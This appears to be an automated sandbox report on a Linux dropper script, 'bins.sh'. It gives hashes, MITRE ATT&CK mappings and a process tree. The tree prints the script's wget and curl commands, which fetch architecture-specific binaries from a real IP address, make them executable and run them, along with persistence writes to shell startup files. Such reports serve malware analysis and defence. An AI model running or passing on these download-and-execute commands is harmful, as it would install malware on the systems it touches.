e884305886288e46cea6630d22737da6c4bfa68b582f2b18b5133aa885c791f3

Analysis

max time kernel
149s
max time network
150s
platform
debian-9_armhf
resource
debian9-armhf-20260513-en
resource tags

arch:armhfimage:debian9-armhf-20260513-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
submitted
23/07/2026, 02:52

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
bins.sh
Size 1KB
Sample260723-dc2zvsvxdy
SHA256 e884305886288e46cea6630d22737da6c4bfa68b582f2b18b5133aa885c791f3
MD5 7cd5c5204b515c89ab22f3e77c2de5dd
SHA1 f1378d410c05b3f2a28d083dea8cc143389e2585
SHA512 565c5e5e414b29fde000a23626440e05a00e6a3502a1b9204488b037b7478f23e6b7eead6175f181c7cd51c3e466550688452e6db101922f91156c7946581df3
TLSH
T12D41B19B33E185B3C4039D65FF5418E0D0C8D6E271F2DBB8F86844A21159D48B19AB63
MD5 SHA1 SHA512 TLSH

Score

7^/10

antivm defense_evasion discovery persistence privilege_escalation

Malware Config

Signatures

File and Directory Permissions Modification 1 TTPs 7 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
678	chmod
724	chmod
759	chmod
764	chmod
771	chmod
776	chmod
781	chmod

Executes dropped EXE 7 IoCs

ioc	pid	Process
/tmp/x86	680	bins.sh
/tmp/x86	725	bins.sh
/tmp/i386	760	bins.sh
/tmp/i386	765	bins.sh
/tmp/amd64	772	bins.sh
/tmp/amd64	777	bins.sh
/tmp/arm	782	bins.sh

Creates/modifies environment variables 1 TTPs 3 IoCs

Creating/modifying environment variables is a common persistence mechanism.

persistence privilege_escalation defense_evasion

Path Interception by PATH Environment Variable

T1574.007

description	ioc	Process
File opened for modification	/etc/profile	arm
File opened for modification	/root/.bashrc	arm
File opened for modification	/home/user/.bashrc	arm

Write file to user bin folder 2 IoCs

persistence

description	ioc	Process
File opened for modification	/usr/bin/test_write	arm
File opened for modification	/usr/bin/sysd	arm

Modifies Bash startup script 2 TTPs 3 IoCs

persistence

Boot or Logon Autostart Execution

T1547

Unix Shell Configuration Modification

T1546.004

description	ioc	Process
File opened for modification	/etc/profile	arm
File opened for modification	/root/.bashrc	arm
File opened for modification	/home/user/.bashrc	arm

Checks CPU configuration 1 TTPs 3 IoCs

Checks CPU information which indicate if the system is a virtual machine.

antivm

System Checks

T1497.001

description	ioc	Process
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl

Enumerates kernel/hardware configuration 1 TTPs 3 IoCs

Reads contents of /sys virtual filesystem to enumerate system information.

discovery

System Information Discovery

T1082

description	ioc	Process
File opened for reading	/sys/kernel/mm/transparent_hugepage/hpage_pmd_size	arm
File opened for reading	/sys/fs/cgroup/cpu,cpuacct/system.slice/cpu.cfs_quota_us	arm
File opened for reading	/sys/fs/cgroup/cpu,cpuacct/system.slice/cpu.cfs_period_us	arm

Reads runtime system information 10 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/self/cgroup	arm
File opened for reading	/proc/meminfo	arm
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/self/mountinfo	arm
File opened for reading	/proc/stat	arm
File opened for reading	/proc/self/auxv	curl

Writes file to tmp directory 7 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/arm	wget
File opened for modification	/tmp/x86	wget
File opened for modification	/tmp/x86	curl
File opened for modification	/tmp/i386	wget
File opened for modification	/tmp/i386	curl
File opened for modification	/tmp/amd64	wget
File opened for modification	/tmp/amd64	curl

/tmp/bins.sh
/tmp/bins.sh
1⤵
- Executes dropped EXE
PID:644
- /usr/bin/wget
  wget http://45.74.3.37:5001/x86 -O x86
  2⤵
  - Writes file to tmp directory
  PID:646
- /bin/chmod
  chmod +x x86
  2⤵
  - File and Directory Permissions Modification
  PID:678
- /tmp/x86
  ./x86
  2⤵
  PID:680
- /bin/rm
  rm -f x86
  2⤵
  PID:682
- /usr/bin/curl
  curl -O http://45.74.3.37:5001/x86
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:684
- /bin/chmod
  chmod +x x86
  2⤵
  - File and Directory Permissions Modification
  PID:724
- /tmp/x86
  ./x86
  2⤵
  PID:725
- /bin/rm
  rm -f x86
  2⤵
  PID:727
- /usr/bin/wget
  wget http://45.74.3.37:5001/i386 -O i386
  2⤵
  - Writes file to tmp directory
  PID:728
- /bin/chmod
  chmod +x i386
  2⤵
  - File and Directory Permissions Modification
  PID:759
- /tmp/i386
  ./i386
  2⤵
  PID:760
- /bin/rm
  rm -f i386
  2⤵
  PID:762
- /usr/bin/curl
  curl -O http://45.74.3.37:5001/i386
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:763
- /bin/chmod
  chmod +x i386
  2⤵
  - File and Directory Permissions Modification
  PID:764
- /tmp/i386
  ./i386
  2⤵
  PID:765
- /bin/rm
  rm -f i386
  2⤵
  PID:767
- /usr/bin/wget
  wget http://45.74.3.37:5001/amd64 -O amd64
  2⤵
  - Writes file to tmp directory
  PID:768
- /bin/chmod
  chmod +x amd64
  2⤵
  - File and Directory Permissions Modification
  PID:771
- /tmp/amd64
  ./amd64
  2⤵
  PID:772
- /bin/rm
  rm -f amd64
  2⤵
  PID:774
- /usr/bin/curl
  curl -O http://45.74.3.37:5001/amd64
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:775
- /bin/chmod
  chmod +x amd64
  2⤵
  - File and Directory Permissions Modification
  PID:776
- /tmp/amd64
  ./amd64
  2⤵
  PID:777
- /bin/rm
  rm -f amd64
  2⤵
  PID:779
- /usr/bin/wget
  wget http://45.74.3.37:5001/arm -O arm
  2⤵
  - Writes file to tmp directory
  PID:780
- /bin/chmod
  chmod +x arm
  2⤵
  - File and Directory Permissions Modification
  PID:781
- /tmp/arm
  ./arm
  2⤵
  - Creates/modifies environment variables
  - Write file to user bin folder
  - Modifies Bash startup script
  - Enumerates kernel/hardware configuration
  - Reads runtime system information
  PID:782

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Boot or Logon Autostart Execution

T1547

Event Triggered Execution

T1546

Unix Shell Configuration Modification

T1546.004

Hijack Execution Flow

T1574

Path Interception by PATH Environment Variable

T1574.007

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Event Triggered Execution

T1546

Unix Shell Configuration Modification

T1546.004

Hijack Execution Flow

T1574

Path Interception by PATH Environment Variable

T1574.007

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Hijack Execution Flow

T1574

Path Interception by PATH Environment Variable

T1574.007

Virtualization/Sandbox Evasion

T1497

System Checks

T1497.001

Credential Access

Discovery

System Information Discovery

T1082

Virtualization/Sandbox Evasion

T1497

System Checks

T1497.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

amd64

Path /tmp/amd64
Size 5.7MB
SHA256 434a796ad042259ab54d0727fa29b6549ba8624cfa23e8d85323f66c83cce15c
MD5 9594b229af9c1424b9ba6dd10a5684a8
SHA1 32ef94745535d0b0b4389ebcad9cb94657db8184
SHA512 95787eceba5018bc124c091750156cf5b616c1af7859effba42e39f477c660bbc6068b633e22e3cf5edd4d33e91bc482306c576471f97a7d1547051558064026
SSDEEP 49152:7Ir5gFNm7Ee/5M1IZDknIYAV0Gcl0/nAKs4w7EokX9VYHmiviNP1kAKlK1KcOH9+:7I+FE4QnAewoX9FvROH9DMBEU
TLSH
T1C4564A57ECA554E9C0AED2308A629153BB71BC492B3123D72B50F7382F77BD0AA79344
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

arm

Path /tmp/arm
Size 5.6MB
SHA256 0fb7ad5dc6c2c8bac1dce94687f553c244159ecd079459d53e64a001f94586f9
MD5 8a9dbaf089c6bbf45219667ae24f51b0
SHA1 9ab68bca749d35abccb0ef7c9d2670918a407bf1
SHA512 37f2b4abb42969faa589e2258fb107aef0bca397317d37d38c3d6bb5754a9f8bb9ccd94b70c7a6824d5ce99797a538c62c5fb2db43698b061ef20365538faded
SSDEEP 49152:9R1xO2GBCf1NE08ObR7e+9BzDZ9eOjLMmggxUyT5E2:1xO2GWnE0BP9BjLQgxNE2
TLSH
T1BE461897BDD25983C4E4367BA8BE80C433634EF99B8652565D08FE383ABE1D90E35314
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

x86

Path /tmp/x86
Size 5.5MB
SHA256 d62438047907e77f6e8761ac6976c62971a477c3ecdb090a06d632caf9fb2f93
MD5 9860261aa472a0a476264d14372f0add
SHA1 d2aee26493a5c19d672d8ebb9f56ecc4938de416
SHA512 20b86dbc221036d90c0b9c516a6760926b6ba9923178234e81914f36954f15b212022f4247bf407a2c7f4c88b07c22b402929206d84fe13d9e210071d67f9af7
SSDEEP 98304:3m9zLdBypE0xg6RzSVdau21rINrbadIyi79o+0ykeEnzO:3udBypRxg6RzSVdau21wrbYy8zO
TLSH
T1CE462711FECB14F6E9031E3105BBA26F63315D058B24EBD7EB407E29F97B6921932219
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v16

Replay Monitor

Loading Replay Monitor...

Downloads